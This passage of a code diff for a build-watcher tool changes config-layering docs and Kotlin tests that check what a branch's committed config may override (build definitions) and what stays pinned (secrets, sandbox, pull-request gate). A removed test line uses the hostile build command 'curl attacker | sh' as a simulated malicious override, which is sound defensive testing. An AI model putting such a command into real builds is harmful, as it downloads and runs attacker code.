and override those from the project config. The watcher reads each origin branch's
|
||||
committed configuration, so a new build definition takes effect by committing it on
|
||||
a branch, without touching any other branch's builds. A branch's definitions apply
|
||||
to that branch alone.</li>
|
||||
<li>Pinned to the server side are only the keys that do not describe the branch's build:
|
||||
secrets (<code>git</code>), the host and repository sections (<code>server</code>,
|
||||
<code>gitea</code>, <code>executor</code>, <code>watcher</code>), the container sandbox
|
||||
policy (<code>docker.enabled</code>, <code>docker.network</code>), and the
|
||||
<code>requirePullRequest</code> gate.</li>
|
||||
<li><strong>Changed:</strong> the build concurrency limit moved from
|
||||
<code>builds.maxConcurrent</code> to <code>executor.maxConcurrent</code> (default 1,
|
||||
no compatibility alias) — the <code>builds</code> section now holds build definitions
|
||||
|
||||
@@ -92,13 +92,45 @@ class ConfigLoaderTest : FunSpec() {
|
||||
loader.load(dir).effectiveBuildDefinitions()["default"] shouldBe BuildDefinition(onPush = false)
|
||||
}
|
||||
|
||||
test("a build worktree cannot redefine the builds section") {
|
||||
test("a branch may redefine the builds section for its own builds") {
|
||||
val dir = Files.createTempDirectory("gittally-test")
|
||||
dir.resolve(".gittally.yml").toFile().writeText(
|
||||
"""
|
||||
builds:
|
||||
pitest:
|
||||
atTimes: ["01:00"]
|
||||
buildCommand: ./gradlew piTestPartial
|
||||
""".trimIndent(),
|
||||
)
|
||||
val worktree = Files.createTempDirectory("gittally-test-worktree")
|
||||
worktree.resolve(".gittally.yml").toFile().writeText(
|
||||
"""
|
||||
builds:
|
||||
pitest:
|
||||
buildCommand: ./gradlew piTestFull
|
||||
experiment:
|
||||
onPush: true
|
||||
""".trimIndent(),
|
||||
)
|
||||
|
||||
val config = loader.loadForWorktree(dir, worktree)
|
||||
|
||||
// the branch layer merges into the definition instead of replacing it
|
||||
config.buildDefinitions.getValue("pitest").buildCommand shouldBe "./gradlew piTestFull"
|
||||
config.buildDefinitions.getValue("pitest").atTimes shouldBe listOf("01:00")
|
||||
config.buildDefinitions.getValue("experiment").onPush shouldBe true
|
||||
}
|
||||
|
||||
test("a branch cannot raise the concurrency limit or reach the sandbox policy through a build definition") {
|
||||
val dir = Files.createTempDirectory("gittally-test")
|
||||
dir.resolve(".gittally.yml").toFile().writeText(
|
||||
"""
|
||||
branches:
|
||||
default:
|
||||
requirePullRequest: true
|
||||
docker:
|
||||
enabled: true
|
||||
network: none
|
||||
""".trimIndent(),
|
||||
)
|
||||
val worktree = Files.createTempDirectory("gittally-test-worktree")
|
||||
@@ -106,16 +138,36 @@ class ConfigLoaderTest : FunSpec() {
|
||||
"""
|
||||
executor:
|
||||
maxConcurrent: 99
|
||||
watcher:
|
||||
pullRequestGate: false
|
||||
branches:
|
||||
default:
|
||||
requirePullRequest: false
|
||||
builds:
|
||||
pitest:
|
||||
buildCommand: curl attacker | sh
|
||||
default:
|
||||
docker:
|
||||
enabled: false
|
||||
network: host
|
||||
""".trimIndent(),
|
||||
)
|
||||
|
||||
val config = loader.loadForWorktree(dir, worktree)
|
||||
val branchConfig = config.branches.getValue("default")
|
||||
|
||||
config.executor.maxConcurrent shouldBe 1
|
||||
config.buildDefinitions.getValue("pitest").buildCommand shouldBe "./gradlew piTestFull"
|
||||
config.watcher.pullRequestGate shouldBe true
|
||||
branchConfig.requirePullRequest shouldBe true
|
||||
// a build definition has no enabled/network at all, so it cannot reintroduce them
|
||||
config.buildDefinitions
|
||||
.getValue("default")
|
||||
.applyTo(branchConfig)
|
||||
.docker
|
||||
.enabled shouldBe true
|
||||
config.buildDefinitions
|
||||
.getValue("default")
|
||||
.applyTo(branchConfig)
|
||||
.docker
|
||||
.network shouldBe "none"
|
||||
}
|
||||
|
||||
test("repo install config overrides project config for same keys") {
|
||||
@@ -312,6 +364,54 @@ class ConfigLoaderTest : FunSpec() {
|
||||
config.branches["default"]!!.docker.image shouldBe "attacker-image"
|
||||
}
|
||||
|
||||
test("loadWithBranchLayer applies a branch config read from git, pinning the same keys") {
|
||||
val dir = Files.createTempDirectory("gittally-test")
|
||||
dir.resolve(".git/gittally").toFile().mkdirs()
|
||||
dir.resolve(".git/gittally/.gittally.yml").toFile().writeText(
|
||||
"""
|
||||
git:
|
||||
token: real-secret
|
||||
branches:
|
||||
default:
|
||||
buildCommand: from-git
|
||||
""".trimIndent(),
|
||||
)
|
||||
|
||||
val config =
|
||||
loader.loadWithBranchLayer(
|
||||
dir,
|
||||
"""
|
||||
git:
|
||||
token: stolen
|
||||
builds:
|
||||
pitest:
|
||||
atTimes: ["03:00"]
|
||||
buildCommand: ./gradlew piTestFull
|
||||
branches:
|
||||
default:
|
||||
buildCommand: from-branch
|
||||
""".trimIndent(),
|
||||
)
|
||||
|
||||
config.git.token shouldBe "real-secret"
|
||||
config.branches.getValue("default").buildCommand shouldBe "from-branch"
|
||||
config.buildDefinitions.getValue("pitest").atTimes shouldBe listOf("03:00")
|
||||
}
|
||||
|
||||
test("loadWithBranchLayer without a branch config equals load") {
|
||||
val dir = Files.createTempDirectory("gittally-test")
|
||||
dir.resolve(".gittally.yml").toFile().writeText(
|
||||
"""
|
||||
branches:
|
||||
default:
|
||||
buildCommand: ./mvnw test
|
||||
""".trimIndent(),
|
||||
)
|
||||
|
||||
loader.loadWithBranchLayer(dir, null) shouldBe loader.load(dir)
|
||||
loader.loadWithBranchLayer(dir, "") shouldBe loader.load(dir)
|
||||
}
|
||||
|
||||
test("loadForWorktree without a worktree config equals load") {
|
||||
val dir = Files.createTempDirectory("gittally-test")
|
||||
dir.resolve(".gittally.yml").toFile().writeText(
|
||||
|
||||
@@ -76,6 +76,9 @@ class WatcherTest : FunSpec() {
|
||||
every { gitService.hasNewCommits(any(), any()) } returns false
|
||||
every { gitService.originHeadCommit(any(), any()) } returns null
|
||||
every { gitService.originBranchCommitTimes(any()) } returns emptyMap()
|
||||
every { gitService.originBranchHeads(any()) } returns emptyMap()
|
||||
every { gitService.showFileAtCommit(any(), any(), any()) } returns null
|
||||
every { configLoader.loadWithBranchLayer(any(), anyNullable()) } returns config
|
||||
every { gitService.pullRequestHeads(any()) } returns emptySet()
|
||||
every { gitService.worktreePrune(any()) } returns Unit
|
||||
every { gitService.fastForwardLocalBranches(any()) } returns emptyList()
|
||||
@@ -483,6 +486,85 @@ class WatcherTest : FunSpec() {
|
||||
verify { harness.buildExecutor.startBuild("main", "commit-main", any(), BuildDefinition.DEFAULT) }
|
||||
}
|
||||
|
||||
test("a build definition committed on a branch fires for that branch, without any entry in the primary config") {
|
||||
val harness = Harness()
|
||||
val branchLayer =
|
||||
GitTallyConfig(
|
||||
buildDefinitions = mapOf("pitest" to BuildDefinition(atTimes = listOf("11:00"))),
|
||||
)
|
||||
every { harness.gitService.originBranches(any()) } returns listOf("main", "experiment")
|
||||
every { harness.gitService.originBranchHeads(any()) } returns
|
||||
mapOf("main" to "commit-main", "experiment" to "commit-exp")
|
||||
every { harness.gitService.showFileAtCommit("commit-exp", Watcher.CONFIG_FILE, any()) } returns "branch-yaml"
|
||||
every { harness.configLoader.loadWithBranchLayer(any(), "branch-yaml") } returns branchLayer
|
||||
every { harness.gitService.originHeadCommit("experiment", any()) } returns "commit-exp"
|
||||
every { harness.gitService.originHeadCommit("main", any()) } returns "commit-main"
|
||||
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
|
||||
harness.startedBuilds shouldContainExactly listOf("experiment" to "commit-exp")
|
||||
verify { harness.buildExecutor.startBuild("experiment", "commit-exp", any(), "pitest") }
|
||||
harness
|
||||
.autoBuildState()
|
||||
.isTriggered("experiment@pitest", LocalDate.parse("2026-07-07"), "11:00")
|
||||
.shouldBeTrue()
|
||||
}
|
||||
|
||||
test("a build definition committed on a branch never schedules another branch") {
|
||||
val harness = Harness()
|
||||
val branchLayer =
|
||||
GitTallyConfig(
|
||||
buildDefinitions =
|
||||
mapOf("pitest" to BuildDefinition(atTimes = listOf("11:00"), branches = listOf("main"))),
|
||||
)
|
||||
every { harness.gitService.originBranches(any()) } returns listOf("main", "experiment")
|
||||
every { harness.gitService.originBranchHeads(any()) } returns
|
||||
mapOf("main" to "commit-main", "experiment" to "commit-exp")
|
||||
every { harness.gitService.showFileAtCommit("commit-exp", Watcher.CONFIG_FILE, any()) } returns "branch-yaml"
|
||||
every { harness.configLoader.loadWithBranchLayer(any(), "branch-yaml") } returns branchLayer
|
||||
every { harness.gitService.originHeadCommit(any(), any()) } returns "commit-any"
|
||||
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
|
||||
// the definition selects main, but it is only known on experiment — so nothing is built
|
||||
harness.startedBuilds.shouldBeEmpty()
|
||||
}
|
||||
|
||||
test("a branch's committed config is read from git again only after the branch moved") {
|
||||
val harness = Harness()
|
||||
every { harness.gitService.originBranches(any()) } returns listOf("main")
|
||||
every { harness.gitService.originBranchHeads(any()) } returns mapOf("main" to "commit-1")
|
||||
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
verify(exactly = 1) { harness.gitService.showFileAtCommit("commit-1", Watcher.CONFIG_FILE, any()) }
|
||||
|
||||
every { harness.gitService.originBranchHeads(any()) } returns mapOf("main" to "commit-2")
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
|
||||
verify(exactly = 1) { harness.gitService.showFileAtCommit("commit-2", Watcher.CONFIG_FILE, any()) }
|
||||
}
|
||||
|
||||
test("an unreadable branch config falls back to the primary definitions instead of failing the poll") {
|
||||
val harness = Harness()
|
||||
every { harness.gitService.originBranches(any()) } returns listOf("main")
|
||||
every { harness.gitService.localBranches(any()) } returns listOf("main")
|
||||
every { harness.gitService.hasNewCommits("main", any()) } returns true
|
||||
every { harness.gitService.originBranchHeads(any()) } returns mapOf("main" to "commit-main")
|
||||
every { harness.gitService.showFileAtCommit("commit-main", Watcher.CONFIG_FILE, any()) } returns "broken"
|
||||
every { harness.configLoader.loadWithBranchLayer(any(), "broken") } throws
|
||||
RuntimeException("mapping problem")
|
||||
every { harness.gitService.originHeadCommit("main", any()) } returns "commit-main"
|
||||
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
|
||||
harness.watcher
|
||||
.state()
|
||||
.lastPollError
|
||||
.shouldBeNull()
|
||||
verify { harness.buildExecutor.startBuild("main", "commit-main", any(), BuildDefinition.DEFAULT) }
|
||||
}
|
||||
|
||||
test("an auto-build slot stays untriggered while the branch is still building") {
|
||||
val harness = Harness(autoBuildConfig("11:00"))
|
||||
harness.seed("main", BuildStatus.RUNNING, commit = "commit-abc")
|
||||
|
||||
Reference in New Issue
Block a user